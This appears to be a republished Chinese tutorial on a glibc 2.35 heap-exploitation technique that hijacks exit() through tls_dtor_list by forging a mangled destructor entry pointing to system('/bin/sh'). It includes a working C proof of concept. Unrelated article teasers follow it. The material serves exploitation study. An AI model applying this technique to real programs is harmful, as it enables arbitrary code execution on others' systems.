glibc2.35-通过tls_dtor_list劫持exit执行流程

前言

glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。

传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。

__call_tls_dtors

在程序返回时会通过exit函数,exit函数会经历以下调用过程

exit
->
__run_exit_handlers
->
__call_tls_dtors

__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下:

  • • 判断tls_dtor_list为空

  • • 不为空则将tls_dtor_list赋值给cur

  • • 取出函数指针cur->func

  • • 通过PTR_DEMANGLE宏解密指针值

  • • 执行函数指针

void
__call_tls_dtors (void)
{while (tls_dtor_list){struct dtor_list *cur = tls_dtor_list;dtor_func func = cur->func;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (func);
#endiftls_dtor_list = tls_dtor_list->next;func (cur->obj);atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);free (cur);}
}

通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下

图片

 

  • • 首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88

  • • 而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空

图片

那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程

图片

首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list

图片

根据上述的方法,我们成功进入后续的流程

图片

但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。

图片

这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下,

先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。

   0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 0x110x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]

也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。

图片

那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。

图片

POC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>unsigned long long rotate_left(unsigned long long value, int left)
{return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}int main() {unsigned long long fs_base;unsigned long long index = 0xffffffffffffffa8;unsigned long long tls_dtor_list_addr;unsigned long long random_number;void *system_ptr = (void *)&system;printf("system:%p\n",system_ptr);// 使用汇编嵌入获取FS寄存器的值asm("mov %%fs:0, %0" : "=r" (fs_base));printf("Value in FS register: 0x%llx\n", fs_base);tls_dtor_list_addr = fs_base - 88;random_number = *(unsigned long long *)(fs_base + 0x30);char *str_bin_sh = malloc(0x20);strcpy(str_bin_sh,"/bin/sh");void *ptr = malloc(0x20);*(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);*(unsigned long long *)(ptr + 8)  = str_bin_sh;*(unsigned long long *)tls_dtor_list_addr = ptr;return 0;
}

总结

简单总结一下通过tls_dtor_list劫持exit执行流程的条件

  • • 存在任意地址写的漏洞利用

  • • 能够篡改或泄露fs_base + 0x30的值

  • • 程序会通过exit函数结束程序,若是通过_exit则不

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/70281.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【解决】多卡服务器GPU不能多用户同时使用的问题

一台多卡服务器&#xff0c;为提高利用效率&#xff0c;通常有多个用户使用。 假设有一台服务器A&#xff0c;分别有0&#xff0c;1&#xff0c;2&#xff0c;3四张卡&#xff0c;我们有两个用户&#xff1a;甲和乙。 当甲启动卡0时&#xff0c;乙想用卡1&#xff0c;2&#…

基于网络表示学习的 新闻推荐算法研究与系统实现

摘要 第1章绪论 新闻推荐通常是利用用户的阅读行为和习惯、阅读选择和爱好等信息,为 用户推荐新闻内容。新闻推荐能够减少用户在数量庞大数据信息中获取信息的 时间消耗,从而能够缓解“信息过载[7]”的难题。以文本为内容的新闻,和商品、 电影、短视频等推荐系统相比,新闻推…

Navicat使用HTTP通道服务器进行连接mysql数据库(超简单三分钟完成),centos安装nginx和php,docker安装nginx+php合并版

序言 因为数据库服务器在外网是不能直接连接访问的&#xff0c;但是可以访问网站&#xff0c;网站后台就能访问数据库&#xff0c;所以在此之前&#xff0c;访问数据库的数据是一件非常麻烦的事情&#xff0c;在平时和运维的交流中发现&#xff0c;他们会使用ssh通道进行连接访…

整车电子电器架构和自动驾驶架构的区别

整车电子电器架构和自动驾驶架构的区别&#xff1a; 范围不同&#xff1a; 整车电子电器架构是面向整车电子电器部件的通信、网络和诊断&#xff0c;包含车身、动力、底盘、娱乐和电器等系统&#xff1b;自动驾驶架构是面向智能网联的驾驶辅助功能或高度自动驾驶功能系统的功…

c语言练习41:深入理解字符串函数strlen strcpy strcat

深入理解字符串函数strlen strcpy strcat 模拟实现&#xff1a;”strlen strcpy strcat strlen strcat: #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<assert.h> strlen 1.通过指针移动模拟 //int my_strlen(char* str) { // size_t c…

记录--CSS 滚动驱动动画 scroll()

这里给大家分享我在网上总结出来的一些知识&#xff0c;希望对大家有所帮助 CSS 滚动驱动动画 scroll() animation-timeline 通过 scroll() 指定可滚动元素与滚动轴来为容器动画提供一个匿名的 scroll progress timeline. 通过元素在顶部和底部(或左边和右边)的滚动推进 scroll…

高教社杯数模竞赛特辑论文篇-2018年A题:高温作业服设计(附获奖论文及MATLBA代码)

目录 【摘要】 1 问题重述 1.1 问题背景 1.2 求解问题 2 问题分析 2.1 问题一分析

2309docx07样式

使用风格 访问风格 使用"Document.styles"属性访问风格: document Document() styles document.styles styles <docx.styles.styles.Styles object at 0x10a7c4f50>Styles对象可字典访问风格: styles["Normal"] <docx.styles.style._Paragr…

Android图形-组件-比较与理解

目录 引言 BufferQueue 和 Gralloc 概念 源码位置&#xff1a; 图形缓冲区的流转情况&#xff1a; BufferQueue 的特性&#xff1a; BufferQueue的跟踪工具-systrace&#xff1a; Gralloc 受保护的缓冲区 Surface 和 SurfaceHolder Canvas rendering SurfaceHolder…

【C++基础】4. 变量

文章目录 【 1. 变量的定义 】【 2. 变量的声明 】示例 【 3. 左值和右值 】 变量&#xff1a;相当于是程序可操作的数据存储区的名称。在 C 中&#xff0c;有多种变量类型可用于存储不同种类的数据。C 中每个变量都有指定的类型&#xff0c;类型决定了变量存储的大小和布局&am…

Jenkins实现基础CD操作

操作截图 在Jenkins里面设置通过标签进行构建 在Jenkins中进入项目&#xff0c;配置以下 将execute shell换到invoke top-level maven targets之前 在gitlab中配置标签 代码迭代新的版本 项目代码迭代 修改docker-compose.yml 提交新版本的代码 在Jenkins中追加新…

有趣的前端面试题

1、nums 的值是多少&#xff1f; 请问输出是什么&#xff1f; const len 5const nums []for (var i 0; i < len; i);{ nums.push(i 1)} console.log(nums) 分析与解答 首先&#xff0c;我认为这个问题并不是考察应聘者的编程能力。他正在检查候选人是否有眼睛方面的…

【Spring Boot】分页

分页查询 分页查询是日常开发中比较常用的功能。MyBatis框架下也有很多插件实现分页功能&#xff0c;比如pageHelper。这是一款非常简单、易用的分页插件&#xff0c;能很好地集成在Spring Boot中。pageHelper是一款基于MyBatis的数据库分页插件&#xff0c;所以我们在使用它时…

第5节-PhotoShop基础课程-颜色模式

文章目录 前言1. 色彩的常用模式1位图模式1.位图模式 2. 灰度模式1.如何把图像变为灰色2.灰度模式下是无法画出彩色的 3. RGB模式4.CMYK模式1.cyan 青色2.magenta平红色3.yellow 黄色4.黑色 5.LAB模式6.颜色空间 6.颜色填充1.色彩基础1.色相 H 2.拾色器3.颜色填充4.前后背景颜色…

【Cisco Packet Tracer】管理方式,命令,接口trunk,VLAN

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

软件设计师(十)网络与信息安全基础知识

计算机网络是由多台计算机组成的系统&#xff0c;与传统的单机系统、多机系统相比有很大的区别。 一、网络概述 计算机网络是计算机技术与通信技术相结合的产物&#xff0c;它实现了远程通信、远程信息处理和资源共享。 1、计算机网络的概念 计算机网络的定义是利用通信设备…

数学建模--时间序列预测模型的七种经典算法的Python实现

目录 1.开篇版权提示 2.时间序列介绍 3.项目数据处理 4.项目数据划分可视化 5.时间预测序列经典算法1&#xff1a;朴素法 6.时间预测序列经典算法2&#xff1a; 简单平均法 7.时间预测序列经典算法3&#xff1a;移动平均法 8.时间预测序列经典算法4&#xff1a;简单指…

C++学习记录——삼십이 C++IO流

文章目录 1、C标准IO流2、C文件IO流1、二进制读写2、文本读写 3、stringstream 1、C标准IO流 C语言的printf和scanf无法很好的输入输出自定义类型&#xff0c;且还需要程序员自己确定类型&#xff0c;所以C就引入了输入流和输出流&#xff0c;是设备和内存之间的沟通。 其实io…

Matlab信号处理2:方波信号的合成与分解

周期信号可展开为傅里叶级数&#xff0c;因此方波信号可用若干谐波去拟合。以下是Matlab的实现&#xff1a; %% 方波信号的分解% 1.生成方波信号 % 方波信号周期、基波频率 T0 2; w0 (2 * pi) / T0; % 方波信号值为1的区间 T1 0.5; % 绘图周期&#xff1a;(2*n1)个周期 n …

java利用aop来记录接口的请求耗时、请求参数、请求url等详细信息

最近在项目里面需要对一些controller接口进行记录。记录的信息包括&#xff0c;接口的耗时、请求参数、请求url、是否成功、请求的ip地址。 最后利用aop切面编程。 Order(1) Aspect Component Slf4j public class BehaviorAop {AutowiredBehaviorService behaviorService;/**…